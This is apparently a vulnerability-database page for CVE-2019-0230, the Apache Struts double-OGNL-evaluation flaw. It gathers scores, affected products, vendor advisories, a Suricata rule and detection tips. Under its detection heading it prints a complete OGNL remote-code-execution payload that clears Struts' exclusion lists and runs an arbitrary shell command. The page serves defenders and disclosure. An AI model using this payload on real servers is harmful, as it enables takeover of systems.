CVE-2019-0230
published 2020-09-14CVE-2019-0230: Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution.
PriorityP181critical9.8CVSS 3.1
AVNACLPRNUINSUCHIHAH
EXPLOIT
EPSS
97.40%
99.9th percentile
Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution.
Affected
6 ranges
| Vendor | Product | Version range | Fixed in |
|---|---|---|---|
| apache | struts | 2.0.0 – 2.5.20 | — |
| oracle | communications_policy_management | — | — |
| oracle | financial_services_data_integration_hub | — | — |
| oracle | financial_services_data_integration_hub | — | — |
| oracle | financial_services_market_risk_measurement_and_management | — | — |
| oracle | mysql_enterprise_monitor | <= 8.0.23 | — |
Detection & IOCsextracted from sources · hover to see the quote
command%{(#nike='multipart/form-data').(#[email protected]@DEFAULT_MEMBER_ACCESS).(#_memberAccess?(#_memberAccess=#dm):((#container=#context['com.opensymphony.xwork2.ActionContext.container']).(#ognlUtil=#container.getInstance(@com.opensymphony.xwork2.ognl.OgnlUtil@class)).(#ognlUtil.getExcludedPackageNames().clear()).(#ognlUtil.getExcludedClasses().clear()).(#context.setMemberAccess(#dm)))).(#cmd='{COMMAND}').(#iswin=(@java.lang.System@getProperty('os.name').toLowerCase().contains('win'))).(#cmds=(#iswin?{'cmd.exe','/c',#cmd}:{'/bin/bash','-c',#cmd})).(#p=new java.lang.ProcessBuilder(#cmds)).(#p.redirectErrorStream(true)).(#process=#p.start()).(#ros=(@org.apache.struts2.ServletActionContext@getResponse().getOutputStream())).(@org.apache.commons.io.IOUtils@copy(#process.getInputStream(),#ros)).(#ros.flush())}↗
- →Look for OGNL expression injection patterns (e.g., %{...}) in HTTP request parameters or tag attribute values submitted to Apache Struts endpoints (*.action, *.do), particularly in multipart/form-data requests with OGNL payloads in the filename field. ↗
- →The exploit delivers the OGNL payload inside the filename parameter of a multipart/form-data POST body (with a null-byte suffix \x00b), targeting Struts action endpoints. Inspect multipart filename fields for OGNL syntax. ↗
- →The vulnerability is triggered via double OGNL evaluation in tag attributes (e.g., id attribute of anchor tags). Audit JSP templates for use of %{userInput} patterns in tag attributes such as id, href, etc., where user-controlled data flows into OGNL expressions. ↗
- →The Metasploit module targets this vulnerability as a multi/http exploit. Detect exploitation attempts by monitoring for the characteristic OGNL double-evaluation pattern in HTTP requests to Struts applications. ↗
- ·Exploitation requires the target Struts application to be developed in a way that passes unvalidated user input into a tag attribute used inside an OGNL expression — not all Struts applications are vulnerable by default. ↗
- ·Struts mitigations (struts.excludedClasses, struts.excludedPackageNamePatterns, struts.excludedPackageNames) partially restrict exploitation, but the exploit payload explicitly clears these exclusion lists via getExcludedPackageNames().clear() and getExcludedClasses().clear() to bypass them. ↗
- ·The alt syntax (%{ognlexp}) that enables forced double OGNL evaluation is enabled by default in Apache Struts, making applications that use raw user input in tag attributes vulnerable without additional developer hardening. ↗
CVSS provenance
nvdv3.19.8CRITICALCVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:H/I:H/A:H
nvdv2.07.5HIGHAV:N/AC:L/Au:N/C:P/I:P/A:P
vendor_oracle9.8CRITICAL
vendor_redhat9.8CRITICAL
CVEs like this are exactly what “Exploited This Week” covers.
Every Monday: what got weaponized or added to CISA KEV in the last seven days — each CVE cross-linked to its PoC, Nuclei template, and detection rule. Free, one email a week, unsubscribe in one click.
Oracle
Oracle Oracle Financial Services Applications Risk Matrix: User Interface (Apache Struts) — CVE-2019-0230
vendor_oracle·2021-01-15·CVSS 9.8
CVE-2019-0230 [CRITICAL] Oracle Oracle Financial Services Applications Risk Matrix: User Interface (Apache Struts) — CVE-2019-0230
Oracle Oracle Financial Services Applications Risk Matrix: User Interface (Apache Struts) vulnerability
CVE: CVE-2019-0230
CVSS: 9.8
Protocol: HTTP
Remote exploit: Yes
Affected versions: Network
Advisory: cpujan2021 (JAN 2021)
Red Hat
struts2: possible RCE due to forced double OGNL evaluation when evaluated on raw user input in tag attributes
vendor_redhat·2020-08-13·CVSS 9.8
CVE-2019-0230 [CRITICAL] CWE-20 struts2: possible RCE due to forced double OGNL evaluation when evaluated on raw user input in tag attributes
struts2: possible RCE due to forced double OGNL evaluation when evaluated on raw user input in tag attributes
Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution.
A flaw was found in Apache Struts frameworks. When forced, struts2 performs double evaluation of attributes' values assigned to certain tags attributes such as ID so it is possible to pass a value that will be evaluated again when a tag's attributes will be rendered. With a carefully crafted request, this can lead to Remote Code Execution (RCE). The largest threat from this vulnerability is to data confidentiality and integrity as well as system availability.
Package: struts (Red Hat Enterprise Linux 5) - Out of support scope
Packag
GHSA
Improperly Controlled Modification of Dynamically-Determined Object Attributes in Apache Struts
ghsa·2021-12-02
CVE-2019-0230 [CRITICAL] CWE-1321 Improperly Controlled Modification of Dynamically-Determined Object Attributes in Apache Struts
Improperly Controlled Modification of Dynamically-Determined Object Attributes in Apache Struts
Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution.
OSV
Improperly Controlled Modification of Dynamically-Determined Object Attributes in Apache Struts
osv·2021-12-02
CVE-2019-0230 [CRITICAL] Improperly Controlled Modification of Dynamically-Determined Object Attributes in Apache Struts
Improperly Controlled Modification of Dynamically-Determined Object Attributes in Apache Struts
Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation, when evaluated on raw user input in tag attributes, may lead to remote code execution.
Suricata
ET WEB_SPECIFIC_APPS Possible Apache Struts OGNL Remote Code Execution Inbound (CVE-2019-0230)
suricata·2021-07-24·CVSS 9.8
CVE-2019-0230 [CRITICAL] ET WEB_SPECIFIC_APPS Possible Apache Struts OGNL Remote Code Execution Inbound (CVE-2019-0230)
ET WEB_SPECIFIC_APPS Possible Apache Struts OGNL Remote Code Execution Inbound (CVE-2019-0230)
Rule: alert http any any -> [$HOME_NET,$HTTP_SERVERS] any (msg:"ET WEB_SPECIFIC_APPS Possible Apache Struts OGNL Remote Code Execution Inbound (CVE-2019-0230)"; flow:established,to_server; http.method; content:"GET"; http.uri.raw; content:"id=%25%7b%23"; reference:url,github.com/bit4woo/CVE-2020-13925; reference:cve,2019-0230; classtype:attempted-admin; sid:2033405; rev:1; metadata:affected_product Apache_Struts2, attack_target Server, created_at 2021_07_24, cve CVE_2019_0230, deployment Perimeter, deployment Internal, confidence Medium, signature_severity Major, tag Exploit, updated_at 2021_07_24, mitre_tactic_id TA0001, mitre_tactic_name Initial_Access, mitre_technique_id T1190, mitre_techniqu
Exploit-DB
Apache Struts 2.5.20 - Double OGNL evaluation
exploitdb·2020-11-17·CVSS 9.8
CVE-2019-0230 [CRITICAL] Apache Struts 2.5.20 - Double OGNL evaluation
Apache Struts 2.5.20 - Double OGNL evaluation
---
# Exploit Title: Apache Struts 2.5.20 - Double OGNL evaluation
# Date: 08/18/2020
# Exploit Author: West Shepherd
# Vendor Homepage: https://struts.apache.org/download.cgi
# Version: Struts 2.0.0 - Struts 2.5.20 (S2-059)
# CVE : CVE-2019-0230
# Credit goes to reporters Matthias Kaiser, Apple InformationSecurity, and the Github example from PrinceFPF.
# Source(s):
# https://github.com/PrinceFPF/CVE-2019-0230
# https://cwiki.apache.org/confluence/display/WW/S2-059
# *Fix it, upgrade to: https://cwiki.apache.org/confluence/display/WW/Version+Notes+2.5.22
# !/usr/bin/python
from sys import argv, exit, stdout, stderr
import argparse
import requests
from requests.packages.urllib3.exceptions import InsecureRequestWarning
import logging
class
Metasploit
Apache Struts 2 Forced Multi OGNL Evaluation
metasploit
Apache Struts 2 Forced Multi OGNL Evaluation
Apache Struts 2 Forced Multi OGNL Evaluation
The Apache Struts framework, when forced, performs double evaluation of attributes' values assigned to certain tags attributes such as id. It is therefore possible to pass in a value to Struts that will be evaluated again when a tag's attributes are rendered. With a carefully crafted request, this can lead to Remote Code Execution (RCE). This vulnerability is application dependant. A server side template must make an affected use of request data to render an HTML tag attribute.
Nuclei
Apache Struts <=2.5.20 - Remote Code Execution
nuclei·CVSS 9.8
CVE-2019-0230 [CRITICAL] Apache Struts <=2.5.20 - Remote Code Execution
Apache Struts <=2.5.20 - Remote Code Execution
Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation when evaluated on raw user input in tag attributes, which may lead to remote code execution.
Template:
id: CVE-2019-0230
info:
name: Apache Struts <=2.5.20 - Remote Code Execution
author: geeknik
severity: critical
description: Apache Struts 2.0.0 to 2.5.20 forced double OGNL evaluation when evaluated on raw user input in tag attributes, which may lead to remote code execution.
impact: |
Successful exploitation of this vulnerability allows an attacker to execute arbitrary code on the affected server.
remediation: |
Upgrade Apache Struts to a version higher than 2.5.20 or apply the necessary patches provided by the vendor.
reference:
- https://nvd.nist.gov/vuln/detail/CVE-2019-0230
Tenable
One Year Later: What Can We Learn from Zerologon?
blogs_tenable·2021-08-11
One Year Later: What Can We Learn from Zerologon?
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Trendmicro
CVE-2019-0230: Apache Struts OGNL Remote Code Execution
blogs_trendmicro·2020-10-07·CVSS 9.8
CVE-2019-0230 [CRITICAL] CVE-2019-0230: Apache Struts OGNL Remote Code Execution
# CVE-2019-0230: Apache Struts OGNL Remote Code Execution
Apache Struts OGNL remote code execution details.
By: Trend Micro Research
2020/10/07
Read time: ( words)
Save to Folio
In this excerpt of a Trend Micro Vulnerability Research Service vulnerability report, Kc Udonsi and John Simpson of the Trend Micro Research Team detail a recent code execution vulnerability in the Apache Struts framework. The bug was originally discovered and reported by Matthias Kaiser of Apple Information Security. The following is a portion of their write-up covering CVE-2019-0230, with a few minimal modifications.
A remote code execution has been reported in the Apache Struts framework. The vulnerability is due to insufficient input validation leading to a forced double Object Graph Navigation Library (O
Trendmicro
CVE-2019-0230: Apache Struts OGNL Remote Code Execution
blogs_trendmicro·2020-10-07·CVSS 9.8
CVE-2019-0230 [CRITICAL] CVE-2019-0230: Apache Struts OGNL Remote Code Execution
## CVE-2019-0230: Apache Struts OGNL Remote Code Execution
Apache Struts OGNL remote code execution details.
By: Trend Micro Research 2020/10/07 Read time: ( words)
Save to Folio
In this excerpt of a Trend Micro Vulnerability Research Service vulnerability report, Kc Udonsi and John Simpson of the Trend Micro Research Team detail a recent code execution vulnerability in the Apache Struts framework. The bug was originally discovered and reported by Matthias Kaiser of Apple Information Security. The following is a portion of their write-up covering CVE-2019-0230, with a few minimal modifications.
A remote code execution has been reported in the Apache Struts framework. The vulnerability is due to insufficient input validation leading to a forced double Object Graph Navigation Library (O
Trendmicro
CVE-2019-0230: Apache Struts OGNL Remote Code Execution
blogs_trendmicro·2020-10-07·CVSS 9.8
CVE-2019-0230 [CRITICAL] CVE-2019-0230: Apache Struts OGNL Remote Code Execution
## CVE-2019-0230: Apache Struts OGNL Remote Code Execution
Apache Struts OGNL remote code execution details.
By: Trend Micro Research Oct 07, 2020 Read time: ( words)
Save to Folio
In this excerpt of a Trend Micro Vulnerability Research Service vulnerability report, Kc Udonsi and John Simpson of the Trend Micro Research Team detail a recent code execution vulnerability in the Apache Struts framework. The bug was originally discovered and reported by Matthias Kaiser of Apple Information Security. The following is a portion of their write-up covering CVE-2019-0230, with a few minimal modifications.
A remote code execution has been reported in the Apache Struts framework. The vulnerability is due to insufficient input validation leading to a forced double Object Graph Navigation Library
Checkpoint
24th August – Threat Intelligence Bulletin
blogs_checkpoint·2020-08-24
CVE-2020-1530 24th August – Threat Intelligence Bulletin
Latest Publications
CPR Podcast Channel
AI Research
Web 3.0 Security
Intelligence Reports
ThreatCloud AI
Threat Intelligence & Research
Zero Day Protection
Sandblast File Analysis
About Us
SUBSCRIBE
2026
2025
2024
2023
2022
2021
2020
2019
2018
2017
2016
## 24th August – Threat Intelligence Bulletin
For the latest discoveries in cyber research for the week of 24th August 2020, please download our Threat Intelligence Bulletin .
Top Attacks and Breaches
The University of Utah has paid $457K to prevent attackers from publishing student and employee information stolen during a ransomware attack which ended on July 19 th . The ransom has been paid by the university’s cyber insurer.
Taiwan has blamed four Chinese APT groups: Blacktech, Taidoor, MustangPanda and APT40 f
Tenable
CVE-2019-0230: Apache Struts Potential Remote Code Execution Vulnerability
blogs_tenable·2020-08-14·CVSS 9.8
[CRITICAL] CVE-2019-0230: Apache Struts Potential Remote Code Execution Vulnerability
## Cloud Exposure
Tenable Cloud Security (CNAPP) Request a demo
Tenable Cloud Vulnerability Management Request a demo
Tenable CIEM Request a demo
Secure your cloud
## Vulnerability Exposure
Tenable Vulnerability Management Try for free
Tenable Security Center Request a demo
Tenable Web App Scanning Try for free
Tenable Patch Management Request a demo
Tenable Enclave Security Request a demo
Tenable Attack Surface Management Request a demo
Tenable Nessus Try for free
## AI Exposure
Tenable AI Exposure Request a demo
## OT/IoT Exposure
Tenable OT Security Request a demo
## Identity Exposure
Tenable Identity Exposure Request a demo
## Business needs
Active Directory
AI Security Posture Management (AI-SPM)
AWS security
Azure security
Cloud Security Posture Man
Bugzilla
CVE-2019-0230 struts2: possible RCE due to forced double OGNL evaluation when evaluated on raw user input in tag attributes
bugzilla·2020-08-18·CVSS 9.8
CVE-2019-0230 [CRITICAL] CVE-2019-0230 struts2: possible RCE due to forced double OGNL evaluation when evaluated on raw user input in tag attributes
CVE-2019-0230 struts2: possible RCE due to forced double OGNL evaluation when evaluated on raw user input in tag attributes
The Apache Struts frameworks, when forced, performs double evaluation of attributes' values assigned to certain tags attributes such as id so it is possible to pass in a value that will be evaluated again when a tag's attributes will be rendered. With a carefully crafted request, this can lead to Remote Code Execution (RCE).
Reference:
https://cwiki.apache.org/confluence/display/WW/S2-059
Discussion:
This bug is now closed. Further updates for individual products will be reflected on the CVE page(s):
https://access.redhat.com/security/cve/cve-2019-0230
http://packetstormsecurity.com/files/160108/Apache-Struts-2.5.20-Double-OGNL-Evaluation.htmlhttp://packetstormsecurity.com/files/160721/Apache-Struts-2-Forced-Multi-OGNL-Evaluation.htmlhttps://cwiki.apache.org/confluence/display/ww/s2-059https://launchpad.support.sap.com/#/notes/2982840https://lists.apache.org/thread.html/r1125f3044a0946d1e7e6f125a6170b58d413ebd4a95157e4608041c7%40%3Cannounce.apache.org%3Ehttps://lists.apache.org/thread.html/r90890afea72a9571d666820b2fe5942a0a5f86be406fa31da3dd0922%40%3Cannounce.apache.org%3Ehttps://www.oracle.com/security-alerts/cpuApr2021.htmlhttps://www.oracle.com/security-alerts/cpujan2021.htmlhttps://www.oracle.com/security-alerts/cpuoct2021.htmlhttp://packetstormsecurity.com/files/160108/Apache-Struts-2.5.20-Double-OGNL-Evaluation.htmlhttp://packetstormsecurity.com/files/160721/Apache-Struts-2-Forced-Multi-OGNL-Evaluation.htmlhttps://cwiki.apache.org/confluence/display/ww/s2-059https://launchpad.support.sap.com/#/notes/2982840https://lists.apache.org/thread.html/r1125f3044a0946d1e7e6f125a6170b58d413ebd4a95157e4608041c7%40%3Cannounce.apache.org%3Ehttps://lists.apache.org/thread.html/r90890afea72a9571d666820b2fe5942a0a5f86be406fa31da3dd0922%40%3Cannounce.apache.org%3Ehttps://www.oracle.com/security-alerts/cpuApr2021.htmlhttps://www.oracle.com/security-alerts/cpujan2021.htmlhttps://www.oracle.com/security-alerts/cpuoct2021.html
2020-09-14
Published